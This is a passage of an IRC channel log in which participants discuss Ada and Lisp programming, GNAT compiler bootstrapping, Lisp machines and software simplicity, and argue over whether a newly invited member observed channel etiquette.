variant ) 1892493;1549321119;asciilifeform;hm where was that mircea_popescu piece re the magick furniture.. 1892494;1549321176;asciilifeform;it was 'put to yourself the question' but in ro iirc 1892495;1549321181;asciilifeform;about ideal objects 1892496;1549321264;asciilifeform;was in the http://btcbase.org/log/2015-09-02#1260148 flavour 1892497;1549321264;a111;Logged on 2015-09-02 22:09 mircea_popescu: there is clearly a problem here. ideal objects (such as software) are not comensurate with physical objects. this attempt to "engineer programs like screws" was a reasonable first hack at the novel an dunexpected problem, 1892498;1549321331;asciilifeform;grr can't find in o(1). but the unifying thread is, when tools of the 'soft' variety appears, all sortsa folx, not even necessarily stupid, became afflicted with the erroneous notion that they have '0 cost' because coad dun have mass and can be cribbed gratis 1892499;1549321382;asciilifeform;very rarely anyone goes 'perl' with actual physical bulldozer as in naggum's gedanken exp because actual bulldozer costs actual dough, and eats fuel which ditto, and produces immediately palpable mess 1892500;1549321397;asciilifeform;but with imaginary bulldozer, many succumbed to 'hey what could it cost' 1892501;1549321529;asciilifeform;( see also http://btcbase.org/log/2016-06-10#1480723 , http://btcbase.org/log/2014-10-10#866949 , elsewhere ) 1892502;1549321529;a111;Logged on 2016-06-10 21:34 asciilifeform: imagine if programmers actually had to answer for their pollutants. 1892503;1549321529;a111;Logged on 2014-10-10 00:58 asciilifeform: mircea_popescu: 10k line/250kb limit. if you overrun it you get shot << chuck moore (of 'forth' fame) seems kinda in favour of this. as am i. a kind of 'environmentalism' i've been advocating for many years (intellectual pollution doesn't blacken mere lungs. it makes everybody - stupider. measurably.) 1892504;1549321632;diana_coman;trinque, I'll add it to the list; what should I pack and send exactly, once it's done? 1892505;1549321685;*;diana_coman will check back on this tomorrow 1892506;1549323507;feedbot;http://bimbo.club/2019/02/a-few-things-to-remember/ << Bimbo.Club -- A few things to remember. 1892507;1549323826;asciilifeform;apropos of nuffin at all, asciilifeform observes that on the street where he lives , + weather inescapably means the background sounds of the day are ~hourly 'ding' of dropped wrenches 1892508;1549323871;asciilifeform;( ~99% south amer folx here ) 1892509;1549323903;asciilifeform;( on ~actually warm~ day -- wrench ding + samba ) 1892510;1549323990;asciilifeform;!!up Would_you_mind_v 1892511;1549323991;deedbot;Would_you_mind_v voiced for 30 minutes. 1892512;1549324000;verisimilitude;I appreciate it. 1892513;1549324005;asciilifeform;!!help 1892514;1549324006;deedbot;http://deedbot.org/help.html 1892515;1549324010;verisimilitude;Alright. 1892516;1549324010;asciilifeform;verisimilitude ^ 1892517;1549324059;trinque;http://btcbase.org/log-search?q=from%3Averisimilitude 1892518;1549324087;asciilifeform;trinque: loper-os reader & chronic lurker, seems ready to get in wot 1892519;1549324212;verisimilitude;Alright; my key is registered. I suppose I'll just !!up myself next time, then. 1892520;1549324218;asciilifeform;!!key verisimilitude 1892521;1549324220;deedbot;http://wot.deedbot.org/9E4BBC83BE16BC928638D2D0C0E5AA2256C2126B.asc 1892522;1549324223;asciilifeform;lessee 1892523;1549324225;trinque;verisimilitude: no reason not to give it a go now 1892524;1549324250;verisimilitude;I was told by deedbot I couldn't $up myself. 1892525;1549324278;asciilifeform;!!rate verisimilitude 1 commonlisp & cpu design fella, http://verisimilitudes.net , loper-os reader . 1892526;1549324282;deedbot;Get your OTP: http://p.bvulpes.com/pastes/uaVpB/?raw=true 1892527;1549324307;asciilifeform;!!v 4D28ECC26EACAD809DB36903FC8222D2E66A8F24E1BF6193B341CBA68723078E 1892528;1549324307;deedbot;asciilifeform rated verisimilitude 1 << commonlisp & cpu design fella, http://verisimilitudes.net , loper-os reader . 1892529;1549324312;asciilifeform;verisimilitude: try nao. 1892530;1549324342;asciilifeform;!!down verisimilitude 1892531;1549324375;asciilifeform;verisimilitude: you can privmsg deedbot nao an' light up on own steam 1892532;1549326230;verisimilitude;Alright, I got that working now. 1892533;1549326241;asciilifeform;willkommen verisimilitude 1892534;1549326275;verisimilitude;My current PGP setup is horrible, as you can guess. 1892535;1549326297;asciilifeform;verisimilitude: if/when you want to swap the key, ask (politely) trinque , it's a manual process 1892536;1549326309;verisimilitude;I'll keep that in mind. 1892537;1549326316;asciilifeform;for nao, simply avoid losing it. 1892538;1549326387;asciilifeform;seems like verisimilitude has visited previously, but nao is getting into adaism via ffa ( http://logs.bvulpes.com/asciilifeform?d=2019-2-5#458157 ) 1892539;1549326469;asciilifeform;verisimilitude: incidentally diana_coman ( http://ossasepia.com/ ) has quite large set of published ada ( & articles re same ), i highly recommend to read. 1892540;1549326475;verisimilitude;I like the idea of writing software that handles all failure modes correctly, as awful as modern systems make doing so. 1892541;1549326503;verisimilitude;Common Lisp is nice, but I want to handle memory exhaustion well and also avoid using megabytes for programs that shouldn't need that much. 1892542;1549326507;verisimilitude;I'll do so, asciilifeform. 1892543;1549326527;asciilifeform;verisimilitude: you will find that most of the win from adaism is in the approach of thought that it encourages, rather than any mechanical aspect of the lang per se. 1892544;1549326550;asciilifeform;http://mocky.org/Log-Reference-Why-Ada/ << also recc'd read. 1892545;1549326655;verisimilitude;There's the saying one shouldn't learn a language that doesn't change the way one thinks; I figured if I would learn at least one language with keyword-based syntax, strong static typing, a lack of advanced metaprogramming, among other qualities, that I should learn Ada. 1892546;1549326702;verisimilitude;It's a nice language, so far, but I've yet to even finish learning all of it. 1892547;1549326730;asciilifeform;verisimilitude: there are other langs with strong typing, but afaik ada is the only 1 where a) with actual standard b) doesn't drag along a gargantuan runtime that won't sit down in small single-chip boxes etc 1892548;1549326756;asciilifeform;see Mocky's review in particular, he actually summarized the whole path that led to the thing 1892549;1549326795;verisimilitude;As a Lisp programmer, what drew you to Ada, asciilifeform? 1892550;1549326825;asciilifeform;verisimilitude: in 2016 i found that i gotta write a safety-critical arithmetic system (nao known as ffa) and found that i cannot in good conscience do it in anyffin but ada. 1892551;1549326871;asciilifeform;verisimilitude: in particular , any system with gc is ruled out right off the bat, as you cannot plug timing sidechannel leak if you got gc in the mix. 1892552;1549326907;asciilifeform;the discussion is also summarized in ch1, http://www.loper-os.org/?p=1913 . 1892553;1549327043;asciilifeform;i explored various alts (e.g. standard-ml sans gc) but found that if the lang produces a binary that cannot be cleanly disasmed and shown to functionally correspond with the source , also cannot in good conscience use such a thing. 1892554;1549327121;asciilifeform;eventually cracked open some bookz and determined, over course of a year+, a subset of ada which roughly corresponds to 'c without the pointeristic retardation', and used this. 1892555;1549327293;asciilifeform;verisimilitude: you will find that the ada used by asciilifeform , diana_coman , et al, is quite distinct flavour from what you see in barnes & in various corners of the net where published ada proggies (not so many) are found 1892556;1549327365;asciilifeform;verisimilitude: for instance, i do not use the secondary stack, or any mechanisms which demand it; or any form of heaps ; or classes; etc 1892557;1549327447;asciilifeform;this means no array concatenation, for instance; or any string ops that do not sit down in apriori known space. 1892558;1549327481;asciilifeform;and no 'access variable', except when required to bake os glue 1892559;1549327523;asciilifeform;there is not presently a paper book that will teach you ~this~ lang, if you're ready to learn it you can do so from asciilifeform , diana_coman , et al. published works. 1892560;1549327569;asciilifeform;http://btcbase.org/patches?patchset=udp << example of os glue. 1892561;1549327605;asciilifeform;http://btcbase.org/patches/adalisp_genesis << spyked's small lisp in ada. 1892562;1549327736;asciilifeform;http://www.loper-os.org/pub/ffa/hypertext/ch16/ffa_calc__adb.htm << ffa as of ch. 16. 1892563;1549327748;asciilifeform;there is plenty of other material in the log, to study from. 1892564;1549327805;verisimilitude;Alright; I'll keep that in mind when I am finally able to study your FFA. 1892565;1549327814;asciilifeform;plenty of ongoing work, too. diana_coman for instance is determining a safely usable subset of ada tasking system. 1892566;1549327840;asciilifeform;ave1 is baking a gnat that can build for 'bare irons'. 1892567;1549327859;asciilifeform;( and already produced a self-contained, glibc-free retargetable gnat, works a++ for e.g. arm64 ) 1892568;1549327866;verisimilitude;The Ada program I have planned is in a similar way unconcerned with some of the more advanced features, because much of it is very concrete by now; it shouldn't even need to allocate memory until I have an undo and redo system in it. 1892569;1549327914;asciilifeform;verisimilitude: imho it is a quite fine lang for building systems where 'surprises' are utterly impermissible. but it does take work. 1892570;1549327953;asciilifeform;most folx find that it takes them a coupla days to even get 'hello world' to ~compile~. 1892571;1549327981;verisimilitude;I'll get to have extra fun, because the system with my editor is different from the system with the GNAT. 1892572;1549328012;asciilifeform;this is not in general a problem, e.g. ave1's gnat works just fine as cross-compiler. 1892573;1549328030;verisimilitude;I'm currently using GuixSD and GNAT isn't available at all, is what I mean. 1892574;1549328034;asciilifeform;i intend to port ffa to msdos, for instance, and don't expect that gnat will be building it ~on~ dos box. 1892575;1549328063;asciilifeform;verisimilitude: try building ave1's , unless your iron is quite exotic you will probably find that you can build a cross-gnat that outputs bins for it. 1892576;1549328176;asciilifeform;incidentally if you're on a x86/x64 box, ave1's gnat will run right as-is, it is built statically and outputs strictly static bins. 1892577;1549328214;asciilifeform;so in principle it doesn't particularly matter what flavour of linux you're on (unless want to ~rebuild~ it, then will take a bit of sweat) 1892578;1549328256;asciilifeform;verisimilitude: tell us a bit re what you're building ? 1892579;1549328256;verisimilitude;When I did look into building GNAT from source, I was told in the documentation I'd already need a working GNAT; does ave1's avoid this? Then again, I suppose I could just use the GNAT I alread have on this other machine for that, if it became too inconvenient to use both. 1892580;1549328269;verisimilitude;It's that tool I showed you earlier, asciilifeform. 1892581;1549328271;asciilifeform;verisimilitude: sadly ~all~ gnats require a working , existing gnat, to build 1892582;1549328278;asciilifeform;this is consequence of the fact that gnat is written in ada. 1892583;1549328294;asciilifeform;theoretically it may be possible to build it with a diff adatron, but gnat is the only openly published one 1892584;1549328300;asciilifeform;and therefore the only one we presently use. 1892585;1549328306;verisimilitude;I'll be using Ada to build the practical, robust, simpler, and easy-to-distribute implementation of my machine code development tool, perhaps ironically enough. 1892586;1549328365;trinque;asciilifeform: the lack of a binary-reproducible gcc really puckers when considering how to write an ebuild for ave1's gcc 1892587;1549328395;asciilifeform;trinque: iirc finding & killing whatever piece in gcc outputs variant turd and makes bins unreproducible is on ave1's conveyor 1892588;1549328399;trinque;considering a process that involves "bolt your hand-built gcc here" and then it rebuilds 1892589;1549328405;trinque;asciilifeform: yep, I eagerly await it 1892590;1549328408;asciilifeform;right, this is a must-have 1892591;1549328447;asciilifeform;the ultimate win would be to get something other than gnat ( say, an adatron implemented in cl... ) that can build something resembling a working gnat. but sadly i suspect this is yrs away. 1892592;1549328500;asciilifeform;( as it is, we have an active unresolved 'thompsonism' in the mix ) 1892593;1549328585;asciilifeform;trinque: possibly at some pt i'ma start to pillage the bolix adatron, for this . 1892594;1549328619;asciilifeform;( whether this wins over starting from empty, remains to be seen ) 1892595;1549328682;asciilifeform;trinque: seems to me that for nao, a working binary build of ave1-gnat gotta be included in standard cuntoo, same as working kernel etc 1892596;1549328714;asciilifeform;( it does in fact build own self , once built, so can relight the fire indefinitely ) 1892597;1549328718;trinque;yep, already need working vtools to run the bootstrapper, so it's not as if there isn't a list of requirements for build env 1892598;1549328722;asciilifeform;aha 1892599;1549328831;asciilifeform;trinque: fwiw i routinely disasm what my gnat shits forth, and haven't yet found any 'surprises', so if ye olde gnat is indeed thompsonistic, it is quite subtle , rather than hammer-in-yer-face 'here's a MB of ??? that phones home to mars' 1892600;1549328930;asciilifeform;( if yer using a heathen gnat, and a gcc5+istic one, it will output the familiar gcc5isms; but we aint using one ) 1892601;1549328973;asciilifeform;i'd still like to ~categorically~ abolish thompsonism at some pt tho. 1892602;1549328977;trinque;indeed 1892603;1549329034;*;asciilifeform described, in the past, the general shape of the recipe for this -- you write e.g. small lisp in coupla kb of asm, and large 1 on that, and an adatron on the latter... etc 1892604;1549329045;asciilifeform;'ladder'. 1892605;1549329074;verisimilitude;That's exactly the approach I've been wanting to bring about, asciilifeform. 1892606;1549329075;asciilifeform;and ideally on iron that we bake, rather than x86. 1892607;1549329098;asciilifeform;verisimilitude: ever fpgaize your experimental archs ? 1892608;1549329104;verisimilitude;I've not. 1892609;1549329109;asciilifeform;!#s ice40 1892610;1549329110;a111;105 results for "ice40", http://btcbase.org/log-search?q=ice40 1892611;1549329113;asciilifeform;^ starting pt. 1892612;1549329149;verisimilitude;It's nice to even imagine having something that simply is and doesn't require building at all. 1892613;1549329175;asciilifeform;verisimilitude: ideally would have this for entire stack, transistor & up. 1892614;1549329196;asciilifeform;but first must 'clean kitchen' so it even makes sense to discuss such thing. 1892615;1549329247;verisimilitude;Sure; even though it's only a thought I've made little progress towards at the moment, care for a light description of how I'd do it for a Common Lisp? 1892616;1549329282;asciilifeform;verisimilitude: you may find interesting to study the 1 example where someone actually ~did~ it for common lisp 1892617;1549329284;asciilifeform;!#s bolix 1892618;1549329284;a111;256 results for "bolix", http://btcbase.org/log-search?q=bolix 1892619;1549329301;asciilifeform;http://www.loper-os.org/?cat=24 << ongoing archaeological dig. 1892620;1549329356;asciilifeform;1980s usa; they built machine (and using vertical integration of own tooling, for not only os dev but pcb & ic cad etc) precisely for this. 1892621;1549329434;asciilifeform;entirely extinct, casualty of politics and jawdroppingly-inept management; but item to some extent is still available as a fossilized specimen for archaeology. 1892622;1549329502;asciilifeform;much of the complexity in the bolix system is, in light of modern tech, unnecessary, it was muchly constrained by the limitations of the period tech 1892623;1549329513;asciilifeform;(in particular , the cost of storage) 1892624;1549329588;asciilifeform;the basic approach is not only sound, however, but the only ~possible~ sound approach -- you bake a cpu that 'understands types', as discussed in e.g. http://www.loper-os.org/?p=46 and http://www.loper-os.org/?p=55 , and go up from there. 1892625;1549329659;verisimilitude;Unfortunately for me, I don't own a Lisp Machine. 1892626;1549329682;asciilifeform;verisimilitude: 80% of what there is to be learned from the thing, can be learned without access to working unit 1892627;1549329734;asciilifeform;for instance, the vendor docs are widely mirrored, e.g. http://www.bitsavers.org/pdf/symbolics/ 1892628;1549329757;asciilifeform;on top of this, there's a coupla kilometer of thread in the #t logs re what made the thing interesting. 1892629;1549329767;verisimilitude;I've had or seen a number of discussions concerning such high-level machines with C programmers and whatnot. It's comedic. A C programmer will be the first to prove how type-checking in hardware and other things most assuredly result in some minute loss of efficiency or power or this or that and so is bad, but then turn around and discuss how brilliant the zero-terminated string is and how it's not that inefficient. 1892630;1549329844;asciilifeform;verisimilitude: see also http://www.loper-os.org/?p=165#selection-110.0-125.164 , http://www.loper-os.org/?p=165#selection-79.0-85.510 . 1892631;1549329870;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-june-july-and-august-1715-account-of-books-ii/ << Bimbo.Club -- Philosophical Transactions. For the months of June, July and August, 1715. - Account of Books - II. 1892632;1549329904;asciilifeform;'devout' c programmer is moar or less synonymous with 'brain damage'. these are the people who think 'typed words are expensive' but think nothing of billion+ transistor in current pentium for tlb cache (so winblows can run 5% faster) . 1892633;1549329949;asciilifeform;or, say , the spectacular idiocy of 'branch prediction', currently racking up cost comparable to chernobyl 1892634;1549329968;asciilifeform;( and with no sign of the inteltards 'waking up' to abandon it ) 1892635;1549330086;asciilifeform;verisimilitude: the zero-terminated string more or less single-handedly created the 'comp security' pseudo-industry 1892636;1549330138;asciilifeform;and naturally the idiot camp splits into the 'useful idiots', who are physiologically incapable of having a clue, and the purposefully-mendacious charlatans, who know exactly where 'exploitable' comes from and ~like~. 1892637;1549330270;asciilifeform;fact is, even long before lispm, on the old cdc mainframes, buffer overflow was impossible. 1892638;1549330281;asciilifeform;folx knew how to do this in ~1960s~. 1892639;1549330793;asciilifeform;it was 'forgotten' for what, near as i can tell, consists ~100% of http://www.loper-os.org/?p=165#selection-307.0-313.492 reason. 1892640;1549330813;verisimilitude;Let's seque to a related topic: What do you think of the Suckless crowd, asciilifeform? I read their mailing list and it's interesting to see how everything UNIX already provides is good and natural and how anything that violates the sacred tenants whatsoever is evil and bloat. 1892641;1549330820;asciilifeform;!#s catv 1892642;1549330821;a111;13 results for "catv", http://btcbase.org/log-search?q=catv 1892643;1549330888;asciilifeform;!#s suckless 1892644;1549330889;a111;54 results for "suckless", http://btcbase.org/log-search?q=suckless 1892645;1549330946;asciilifeform;!#s cat-v 1892646;1549330946;a111;52 results for "cat-v", http://btcbase.org/log-search?q=cat-v 1892647;1549330949;asciilifeform;^ there we go 1892648;1549330966;asciilifeform;verisimilitude: http://trilema.com/2016/cat-vorg-adnotated/ << summary of mircea_popescu's expedition to cat-v planet. 1892649;1549331006;asciilifeform;( at one time, they had a fella with a working brain involved, then he vanished, and what remained grew over with fungus. ) 1892650;1549331076;asciilifeform;verisimilitude: there are other 'old unix' cargo cults in the historic record, also; all are quite similar to cat-v , near as i can tell. 1892651;1549331099;verisimilitude;I'll give credit to st, which is a decent terminal emulator, but I'm not impressed with Suckless in general. They're recently combating a bug with some X font nonsense caused by stupid Unicode glyphs; their solution is to stop using the X font nonsense entirely, which will apparently cause its own issues. 1892652;1549331150;asciilifeform;'stop using' is generally the correct solution to all sortsa problem. trick is that you gotta 1) ~actually stop~ 2) not immediately replace the excised idjicy with a new one 1892653;1549331173;asciilifeform;and 3) not create a vacuum that gets immediately filled by similar or even dumber 1892654;1549331364;asciilifeform;outside of unix planet, typical example of type 3 failure is r5rs scheme (which is ~impossible to write nontrivial program in without reintroducing good % of what makes it seem 'light' vs commonlisp ) 1892655;1549331424;asciilifeform;typical 'type 2' failure is, e.g., 'wayland' 1892656;1549331485;asciilifeform;typical 'type 1' fail is the various 'safety' bolt-ons to c/cpp, where yes you can use 'smart pointer' kludge but old barbaric 'dumb' is still permitted (and if you want nontrivial proggy, ~mandatory) 1892657;1549331519;asciilifeform;otherwise you , yes, 'quit drinking' but started instead heroin. 1892658;1549331557;verisimilitude;I've long thought it's reasonable to exert great effort to make a system perfect, where possible; it's the ideal, but maybe not practical. Perhaps the more interesting question is when to stop when you exert so much effort, but have something that can never be made perfect, by design. 1892659;1549331577;verisimilitude;That's what all of these C ``security'' features are. 1892660;1549331600;verisimilitude;It shows no sign of stopping, though. 1892661;1549331602;asciilifeform;verisimilitude: field is not at the 'let's discover immortality' stage; but at the 'start fucking washing hands and not drilling well right next to latrine' stage. 1892662;1549331635;asciilifeform;and 'perfect' is red herring 1892663;1549331640;asciilifeform;rather, you want first a : 1892664;1549331644;asciilifeform;!#s fits-in-head 1892665;1549331644;a111;74 results for "fits-in-head", http://btcbase.org/log-search?q=fits-in-head 1892666;1549331668;verisimilitude;We all have different ideas of perfection; you could just have it include this. 1892667;1549331680;asciilifeform;if system does not 'fit in head', it does not even make sense to ~pose the question~ re whether it is bug-free. 1892668;1549331738;verisimilitude;Sure; my system I have in mind to make as perfect as I can certainly fits in a normal-sized head, or should. 1892669;1549331758;asciilifeform;verisimilitude: see, for instance, thread http://btcbase.org/log/2018-11-30#1876186 1892670;1549331758;a111;Logged on 2018-11-30 02:43 asciilifeform: if you need a 'proof system' to prove $assertion, you have NOT proven it. not to me. 1892671;1549331762;asciilifeform;re what means 'fit in head'. 1892672;1549331811;asciilifeform;verisimilitude: 1st step is to actually impose on yerself the constraint, 'what i am writing ~is to fit in my head~. then can proceed to help other folx fit into ~theirs~. 1892673;1549331838;asciilifeform;but if author failed to consciously commit to this constraint, in general the resulting work will ~never~ fit-in-head. 1892674;1549331857;verisimilitude;That's reasonable; I've done that much. 1892675;1549331859;asciilifeform;he will use 'libraries' and 'legacy' crapola and autoconf and etc. 1892676;1549331929;asciilifeform;ffa in particular is intended as , among other things, a didactic demonstration of what means 'fits-in-head'. 1892677;1549331965;asciilifeform;a student who reads & understood the thing, oughta be able to 'compile' with bare hands, using nothing but hex editor, for any iron he is given. 1892678;1549331974;asciilifeform;and explain why every single byte he wrote, needs to be where it is. 1892679;1549331979;asciilifeform;because he understands the arithmetic. 1892680;1549332658;asciilifeform;verisimilitude: as a concrete example : you will find that ffa uses an unmoving hinge for karatsuba multiplication. consequently all numbers are required to occupy a space that is a power-of-two bits wide. but from this you get a 3-4x simpler mechanism. 1892681;1549332682;asciilifeform;this is merely 1 example of 'this program MUST fit-in-head, above all else.' 1892682;1549332707;mircea_popescu;holy batlog. 1892683;1549332727;asciilifeform;mircea_popescu: i was massaging a n00b, tends to take space. 1892684;1549332740;asciilifeform;verisimilitude meet mircea_popescu . 1892685;1549332762;*;mircea_popescu shall actually write that report, get to log in a minute. 1892686;1549332787;asciilifeform;mircea_popescu: d00d lurked for yrs, i dun think he will suffer from waiting a min. 1892687;1549332833;*;asciilifeform shall bbl, has meat to attend to 1892688;1549333158;mircea_popescu;meanwhile some serious fucking breakage occured over here wtf. 1892689;1549333802;verisimilitude;Hello, mircea_popescu, although we've met before. 1892690;1549333827;verisimilitude;Well, as much as one can on IRC over a short time, anyway. 1892691;1549334221;verisimilitude;I'm not certain just reading loper-os.org over a few years counts as lurking, but alright. 1892692;1549335376;mircea_popescu;suppose you move over to #asciilifeform then ? because EXACTLY as the topic says, if you don't know where you are, you shouldn't be here. 1892693;1549335647;asciilifeform;mircea_popescu: he lives there orig, seemed ready to be introduced to other folx, as adaist. i expect will mostly lurk for the foreseeable fyootur. 1892694;1549335745;mircea_popescu;i guess. 1892695;1549335840;mircea_popescu;meanwhile in other lulz, "Medical uses Varenicline is used for smoking cessation. A meta-analysis found that less than 20% of people treated with varenicline remain abstinent from smoking at one year." 1892696;1549335849;asciilifeform;oughta become apparent soon enuff, whether fella's hands grow from right organ. 1892697;1549335876;mircea_popescu;for the same money could treat them with cocaine. 1892698;1549335882;asciilifeform;mircea_popescu: lol is there a pill for 'abstinent' from nail-biting also 1892699;1549335913;mircea_popescu;funny thing is, 20% "success rate" drug is FDA approved, "only effective treatment" 1892700;1549335945;asciilifeform;iirc freud prescribed cocaine 'against errything', and... worked, after a fashion 1892701;1549335955;mircea_popescu;this fashion lol. 1892702;1549335989;mircea_popescu;anyway, cocaine much better p. universalis than say radithor. 1892703;1549336132;lobbes;http://btcbase.org/log/2019-02-04#1892264 << looks like spyked is going to take care of it (though, I dun mind rsyncing it as well) >> http://thetarpit.org/posts/y05/082-tmsr-schedule-i.html#selection-201.0-213.84 1892704;1549336132;a111;Logged on 2019-02-04 16:38 mircea_popescu: incidentally, either spyked or lobbes what do you need to make a complete gutenberg.org copy ? it IS going away, for one thing the initiator guy died and for the other thing, with their world-famous http://btcbase.org/log/2017-03-15#1627828 there's no way they'll stay online all that long. 1892705;1549336136;lobbes;http://btcbase.org/log/2019-02-02#1891494 << as of now, no. I would like to see this built, but I have other items to get to first (http://blog.lobbesblog.com/2019/01/hopper-update-january-2019/) 1892706;1549336136;a111;Logged on 2019-02-02 03:49 mats: i wonder if lobbes has a portal where i can feed, say, 2k urls for archival? 1892707;1549336148;*;lobbes is a day or so behind on logs, goes to continue catching up 1892708;1549336173;asciilifeform;mircea_popescu: bonus re varenicline, вареник ~= dumpling 1892709;1549336187;asciilifeform;wonder if the marketwizards knew. 1892710;1549336218;asciilifeform;!#s dip them 1892711;1549336218;a111;16 results for "dip them", http://btcbase.org/log-search?q=dip%20them 1892712;1549336233;mircea_popescu;who even knows lol. 1892713;1549336653;feedbot;http://trilema.com/2019/no-such-labs-snsa-january-2019-statement/ << Trilema -- No Such lAbs (S.NSA), January 2019 Statement 1892714;1549336689;asciilifeform;neat, compact. 1892715;1549338042;mircea_popescu;*thumbsup* 1892716;1549339284;mircea_popescu;http://btcbase.org/log/2019-02-04#1892493 >> http://btcbase.org/log/2014-10-21#886386 1892717;1549339284;a111;Logged on 2019-02-04 22:58 asciilifeform: hm where was that mircea_popescu piece re the magick furniture.. 1892718;1549339284;a111;Logged on 2014-10-21 19:27 mircea_popescu: http://trilema.com/2009/inchipuiti-va/ << this is incidentally great reading on the topic, albeit in languages. 1892719;1549339689;BingoBoingo;!Xbuy 610mn 82 2k Wired Filthy Fiats (WU esta bien) 1892720;1549339689;auctionbot;Buy order # 1037 created by BingoBoingo: 2k Wired Filthy Fiats (WU esta bien) Opening: 610mn ecu Ending: 2019-02-08 02:11:49.889189 UTC (81 hours) 1892721;1549341027;asciilifeform;mircea_popescu: that was the one ! ty 1892722;1549341254;mircea_popescu;mp 1892723;1549342198;mircea_popescu;!!down verisimilitude 1892724;1549342204;mircea_popescu;srsly, circumventing voice model ? 1892725;1549342215;mircea_popescu;next clever dork gets the ban. 1892726;1549343101;verisimilitude;What? 1892727;1549344570;asciilifeform;mircea_popescu: i sent him to reg w/ deedbot an' try voicing, deliberately, d00d spoke at my explicit invitation. 1892728;1549344605;mircea_popescu;why's he voice himself on a different nick then ? 1892729;1549344606;mircea_popescu;anyways. 1892730;1549345351;verisimilitude;If you're referring to my earlier disconnect, that was an accident. 1892731;1549350874;verisimilitude;I'm looking through more of these Ada links you provided earlier, asciilifeform; do you not use Ada 2012? 1892732;1549351768;mircea_popescu;!!rate verisimilitude -1 children, seen and not heard. 1892733;1549351771;deedbot;Get your OTP: http://p.bvulpes.com/pastes/4ZZTh/?raw=true 1892734;1549351773;mircea_popescu;asciilifeform Would you do me a favour and drill into the randos some basics of etiquette before inviting them over / rating them ? 1892735;1549351773;mircea_popescu;There's really no need for pompous assholes vomiting their self importance all over the log. Dude hasn't read at the very least the basics, can't ~possibly~ be fucking welcome here, let him go to reddit or whatever an' be happy there. 1892736;1549374116;asciilifeform;'where they cut off yer lips when they don't like yer smile!'(tm)(r)(disney) 1892737;1549374173;asciilifeform;mircea_popescu: i gotta admit i'm baffled, d00d asked re whether i used ada2012, that's breach of etiquette ? 1892738;1549374288;asciilifeform;maybe coupla thou noobs with working hands alive; i catch 1 in the wild, and mircea_popescu uses for target practice, i dunget. 1892739;1549374628;diana_coman;asciilifeform, I must admit I fail to see *what* did the guy actually contribute; moreover he asked as far as I can see signalling questions, nothing more; granted, they were related to Ada but that's about the only positive I can find in the whole log I had to go through; perhaps it's simply too early for him to be here? maybe first have something done and only then come and show it? 1892740;1549374672;asciilifeform;diana_coman: it's a teachable n00b, as suggested by his www. similar to e.g. bvt . 1892741;1549374704;asciilifeform;i dun recall having myself walked in with a mega-contribution on day1 either 1892742;1549374723;diana_coman;for one thing it's not *that* year anymore, perhaps that's the missing bit there 1892743;1549374763;asciilifeform;diana_coman: i.e. we have all the hands we'll ever want ? 1892744;1549374783;diana_coman;asciilifeform, no, how do you jump to that? 1892745;1549374838;diana_coman;there is both need and space for more hands; but their training is to happen in the castles-channels, not directly in #trilema; that's my current understanding at least 1892746;1549374841;asciilifeform;i'ma wait till mircea_popescu speaks for himself and clarifies, but that seems to be his position 1892747;1549374899;asciilifeform;also will ask mircea_popescu to expand re when, exactly, one oughta invite folx from castle. 1892748;1549374918;asciilifeform;( once they have magnum opus and not prior ? ) 1892749;1549375025;diana_coman;asciilifeform, for my curiosity: http://btcbase.org/log/2019-02-05#1892640 -> how is this ANY different from all the other "hey guise, I'ma signal nao" ; by now the "what do you think of X" is almost a signal in itself 1892750;1549375025;a111;Logged on 2019-02-05 01:40 verisimilitude: Let's seque to a related topic: What do you think of the Suckless crowd, asciilifeform? I read their mailing list and it's interesting to see how everything UNIX already provides is good and natural and how anything that violates the sacred tenants whatsoever is evil and bloat. 1892751;1549375112;asciilifeform;diana_coman: so apparently he hadn't read all 7 yrs of log. tho mircea_popescu did not say that this was why got the boot. 1892752;1549375208;diana_coman;fwiw my current (even recently updated!) rule for "when to invite" is ~ "when they are either asking intelligent questions in side-chan already OR have made something useful OR have a concrete, interesting proposition explored first in side-chan" 1892753;1549375232;diana_coman;not suggesting there might not be other cases or anything but so far that's what I see 1892754;1549375268;diana_coman;asciilifeform, mno; quite sure we already had this thread already though so I'll let it rest 1892755;1549375300;diana_coman;and at any rate if it needs stating: I'm talking for myself here, not for mircea_popescu 1892756;1549375432;asciilifeform;eh if mircea_popescu says 'you aint ready to graduate kindergarten' i aint about to dispute an' 'no, let's graduate'im to 1st grade'. was curious re the logic, is all. 1892757;1549375525;asciilifeform;asciilifeform's kindergarten currently is permissive (so long as folx are reasonably low-traffic) on acct of not being particularly packed. 1892758;1549375579;diana_coman;but that's the point: side-channels are permissive, #trilema is not; and on the sharp end of it, coming in too early can result in negrate 1892759;1549375688;asciilifeform;i dun have a dispute re the principle, it's The Right Thing. 1892760;1549376092;asciilifeform;diana_coman: posssibly i oughtn't to graduate'em till they solve all the ffa homeworks. 1892761;1549376095;asciilifeform;( in all srsness ) 1892762;1549376119;diana_coman;that sounds not bad at all really 1892763;1549376135;asciilifeform;can't see how could go wrong with that. 1892764;1549376196;asciilifeform;the puzzlers aint actually that painful imho. 1892765;1549376965;asciilifeform;re ada2012, that was actually a good q, and i'll answer it for the log : ffa in fact uses preconditions, a 2012 knob. 1892766;1549377058;asciilifeform;( theoretically will build on a 2005 or prior adatron, if they are removed, if one must. ) 1892767;1549377146;asciilifeform;truly vintage (ada-83) won't eat ffa, there is use of 'in out' parameters. 1892768;1549377188;asciilifeform;this can be worked around, but would add gnarl, and i won't touch it unless someone gives a compelling argument re why oughta build on a -83. 1892769;1549377275;asciilifeform;-83 won't build diana_coman's proggy either, there was no tasks annex in -83. 1892770;1549377437;diana_coman;yes, I need Ada 2012 1892771;1549377478;asciilifeform;diana_coman: fwiw i didn't end up on 2012 blindly, actually walked the feature ladder and consciously picked. 1892772;1549377614;diana_coman;well, I really started with 2005 but then I had to upgrade, hence my "I need". It's not blindly,no. 1892773;1549377640;asciilifeform;wasn't implying that diana_coman picked with dartboard, lolno. 1892774;1549377684;asciilifeform;diana_coman: i orig had mine set to '05 also. 1892775;1549377784;asciilifeform;re preconditions : theoretically they allow for certain optimizations ( mythical 'sufficiently smart compiler' could infer that various range checks cannot be violated if precondition holds ) but afaik our gnat doesn't do this, and i'm not certain that i'd like it if it did 1892776;1549377816;asciilifeform;they do make elementary mistakes in calling coad 100x moar obvious tho, and therefore are a win imho. 1892777;1549377873;asciilifeform;i.e. they're the 'suspenders' in a 'belt and suspenders' tandem. 1892778;1549378178;asciilifeform;on that subj, attentive ffa reader will notice in certain places asciilifeform marked in comment 'cosmic ray resistance' . this indicates mechanisms where there are two or more separate pieces that 